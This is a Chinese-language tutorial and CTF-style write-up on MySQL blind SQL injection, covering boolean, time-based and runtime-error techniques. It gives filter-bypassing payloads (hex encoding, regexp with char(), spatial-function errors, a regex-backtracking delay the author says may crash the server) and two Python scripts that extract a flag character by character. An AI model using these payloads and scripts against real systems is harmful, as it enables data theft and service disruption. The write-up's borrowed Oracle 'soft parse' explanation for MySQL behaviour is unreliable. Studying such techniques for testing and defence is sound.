前言Blind SQL(盲注)是SQL注入攻击的其中一种。在sql注入过程中,sql语句执行后数据不会回显到前端页面,此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。 本文涉及知识点实操练习:MySQL盲注 (本实验讲解了MySQL注入中,3种盲注方式:基于布尔的盲注、基于时间的盲注、基于报错的盲注。通过学习本实验,能了解盲注原理。) SQL盲注基本知识常用基本函数若expr1 为true,则返回expr2 ,为false则返回expr3 SELECT IF(TRUE, 'A','B') -- 输出结果:A SELECT IF(FALSE,'A','B') -- 输出结果:B 返回字符串str 最左面字符的ASCII值 SELECT ASCII("flag") -- 输出结果:102 返回字符串str 第一个字符的ASCII值 SELECT ORD("flag") -- 输出结果:102 将ASCII码值int 转换成字符 SELECT CHAR(65) -- 输出结果:A 从pos 位置开始,截取字符串str 共len 个长度的字符 SELECT MID("Hello World", 3, 5) -- 输出结果:llo W 与SUBSTR(str,pos,len) 效果相同
返回字符串str 左边部分共len 个字符 SELECT LEFT("flag", 2) -- 输出结果:fl duration 是休眠的时长,以秒为单位,也可以是小数
SELECT SLEEP(3) # [SQL] SELECT SLEEP(3) # 受影响的行: 0 # 时间: 3.005ms 正则表达式,用来匹配文本的特殊的串(字符集合) SELECT "FLAG" REGEXP "LA" -- 输出结果:1 SELECT "FLAG" REGEXP "[0-9]" -- 输出结果:0 LENGTH(str) -- 返回字符串str的长度 DATABASE() -- 返回当前数据库名 VERSION() -- 返回当前MySQL版本 布尔盲注根据注入点的输入,页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据。 SELECT IF(LENGTH(DATABASE())>3, 1, 2) -- 输出结果:1 SELECT IF(LENGTH(DATABASE())>4, 1, 2) -- 输出结果:2 据此可知数据库名的长度为4 时间盲注通过执行时间的长短来判断是否执行成功,也就是时间延迟注入。 SELECT IF(MID(DATABASE(),1,1)='c', SLEEP(3), 2) -- 3秒后才响应 SELECT IF(MID(DATABASE(),1,1)='a', SLEEP(3), 2) -- 立即响应 据此可知数据库名的第一个字符为c 以下2道题目:flag在flag表的flag字段 在本地搭建靶机,用post传参,变量keywords 接收 ![](https://www./specialized/headImg.action?news=b40294a5-3b54-4122-9641-984c753e5374.jpg)
基于运行错误的布尔盲注基于运行错误的布尔盲注即能够通过sql语句的语法、语义分析,但运行时报错。 我们可以将其作为IF(expr1,expr2,expr3)的expr3 ,当expr1 为true时,返回expr2 ,页面正常,而为false时,则会执行expr3 ,此时因为运行错误而页面无法正常显示。 ST_GeomFromText(character-string[, srid]) 是根据字符串表示构造几何的方法,即: SELECT ST_GeomFromText( 'LineString( 1 2, 5 7 )', 4326 ) -- 输出结果:[0102000020E610000002000000000000000000F03F000000000000004000000000000014400000000000001C40] ST_X(point):该方法是获取点的x坐标,它操作的对象是一个点,即: SELECT ST_X(POINT(2,3)) -- 输出结果:2 但当操作对象不是点时,运行会报错,却能够通过sql的检查,所以可以用来构造true和false两种情况下出现不同的页面 SELECT IF(1, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- 输出结果:1 SELECT IF(0, 1, ST_X(ST_GeomFromText('POINT(aaa)'))) -- ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext. P.s. ST_GeomFromText 、 ST_MPointFromText 是两个可以从文本中解析Spatial function的函数。 需要注意的是 ST_GeomFromText 针对的是 POINT() 函 数, ST_MPointFromText 针对的是 MULTIPOINT() 函数的。 其他可用的函数: SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0); SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0); SELECT IF({}, ST_X(MADS), 0); SELECT IF({}, ST_MPointFromText('MADS'),0); SELECT IF({}, ST_GeomFromText('MADS'),0); 如果题目过滤了ST ,可以尝试用GeomFromText() 和X() ,但MySQL在5.7.6版本之后就弃用了。 Name | Description |
---|
X() (deprecated 5.7.6) | Return X coordinate of Point | GeomFromText() (deprecated 5.7.6) | Return geometry from WKT |
当输入1、2、3等数字时,页面返回Hello World ![](http://image109.360doc.com/DownloadImg/2021/02/0316/214739668_1_20210203045933927.jpg)
而当输入被过滤的关键字时,网页返回No Hacker ![](http://image109.360doc.com/DownloadImg/2021/02/0316/214739668_2_20210203045934349.jpg)
由此可以测试一些被过滤的关键字有: ' 、" 、or 、- 、* 、> 、< 、= 、like 、sleep 、substr 、mid 、ascii 、ord
然而在不被ban掉的情况下,网页只能返回一种页面,无法进行平常的数字型盲注。 而像if(0,1e9999,1) ,因为无法通过sql语句的检查,所以页面无法正常显示,更别说if(1,1e9999,1) 了。 此时可以考虑用基于运行错误的布尔盲注,语法、语义上能够通过sql的检查,但如果执行到该语句却会运行错误,这样便能够构造true和false两种情况了。 用if来进行盲注,' 被过滤了,用十六进制绕过。 if(1,1,ST_X(ST_GeomFromText('POINT(mads)')) > if(1,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)) 此时页面返回Hello World 。题目说flag在flag表的flag字段,用left()截取第一个字符进行判断,= 和like 可以用regexp 代替。 构造payload: if(left((select flag from flag),1) regexp char(102),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329))) 此时页面仍然返回Hello World ,可以知道flag的第一个字符是char(102),也就是f if(left((select flag from flag),2) regexp char(102,108),1,ST_X(ST_GeomFromText(0x504F494E54286D61647329))) 而第二个字符是char(108),也就是字符l 用python写个脚本 import requests
def fun(string): result = "" j = 1 for i in string: if j != len(string): result = result + str(ord(i)) + "," else: result = result + str(ord(i)) j += 1 return "char(" + result + ")"
url = "http:///index.php" tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{" flag = ""
for i in range(1, 50): for j in tables: if j == "{" or j == "}": j = "\\" + j payload = "if(left((select flag from flag),%s) regexp %s,1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))" % ( i, fun(flag+j)) r = requests.post(url=url, data={'keywords': payload}) if "Hello World" in r.text: flag = flag + j print(flag.replace("\\", "")) break ![](http://image109.360doc.com/DownloadImg/2021/02/0316/214739668_3_20210203045934474.jpg)
基于巨大运算时间的时间盲注由于在这里过滤了ST ,所以以ST 开头的函数会被ban,无法使用。 同时又过滤了sleep ,所以无法通过时间休眠来延迟时间,也就没法用sleep来进行时间盲注。 但我们可以通过sql语句来执行一个运算时间很长很长的语句,以此来作为时间延迟,也就是说用if来判断flag的字符,如果正确则执行一个需要很长运算时间的语句,否则返回0。 所以之后用python写脚本的时候,设定一个超时时间,在设定时间内没有返回内容即字符正确,这样便能进行时间盲注了。 在此之前先了解几个函数 对字符串str 进行右填充,用padstr 填充至str 长度为len 个字符 SELECT RPAD('hi', 5, '?') -- 输出结果:hi??? 连接多个字符串为一个字符串 SELECT CONCAT('he', 'll', 'o') -- 输出结果:hello 返回字符串str 重复count 次后的字符串 SELECT REPEAT('ab', '3') -- 输出结果:ababab 构造payload: 1 and if((select flag from flag) regexp binary 'f',rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b'),0) 也就是说如果flag的第一个字符为f 的话,则会执行下面这句语句: rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b') rpad('a',5000000,'a') 会填充为5000000个a ,会构造成一个很长的字符串,与字符串concat(repeat('(a.*)+',30),'b') 去作正则匹配,通过巨大的运算量来延时。
这样做的话服务器可能会崩
由于题目过滤了' ,所以用十六进制代替 1 and if((select flag from flag) regexp binary 0x66,rpad(0x61,5000000,0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0) 以下两种图片用get传参测试时间延迟效果 猜中flag的第一个字符时: ![](http://image109.360doc.com/DownloadImg/2021/02/0316/214739668_4_20210203045934755.jpg)
而如果猜第一个字符为0x01 ,则为false,if返回0 ![](http://image109.360doc.com/DownloadImg/2021/02/0316/214739668_5_20210203045934974.jpg)
所以我们可以通过大量的运算时间做延迟,进行时间盲注。 但服务器进程在接到客户端传送过来的SQL语句时,不会直接去数据库查询。服务器进程把这个SQL语句的字符转化为ASCII等效数字码,接着这个ASCII码被传递给一个HASH函数,并返回一个hash值,然后服务器进程将到shared pool中的library cache(高速缓存)中去查找是否存在相同的hash值。如果存在,服务器进程将使用这条语句已高速缓存在SHARED POOL的library cache中的已分析过的版本来执行,省去后续的解析工作,这便是软解析。
所以多次查询rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b') 后将不再延迟,所以对rpad()的5000000 需要每次自减1 脚本来自Gqleung(http://www.) import requests
def ord2hex(string): result = "" for i in string: r = hex(ord(i)) r = r.replace('0x', '') result = result+r return '0x'+result
url = "http:///index.php" tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{" result = ""
for i in range(1, 50): for j in tables: if j == "{" or j == "}": j = '\\'+j payload = "1 and if((select flag from flag) regexp binary %s,rpad(0x61,%d,0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0)" % ( ord2hex("^"+result+j), 5000000-i) try: r = requests.post(url=url, data={'keywords': payload}, timeout=3) except Exception as e: result = result+j print(result.replace('\\', '')) timeout:设定超时时间,秒为单位在设定时间内没有返回内容则返回一个timeout异常 若是3秒内没有返回内容则返回timeout异常,即字符正确,打印输出
|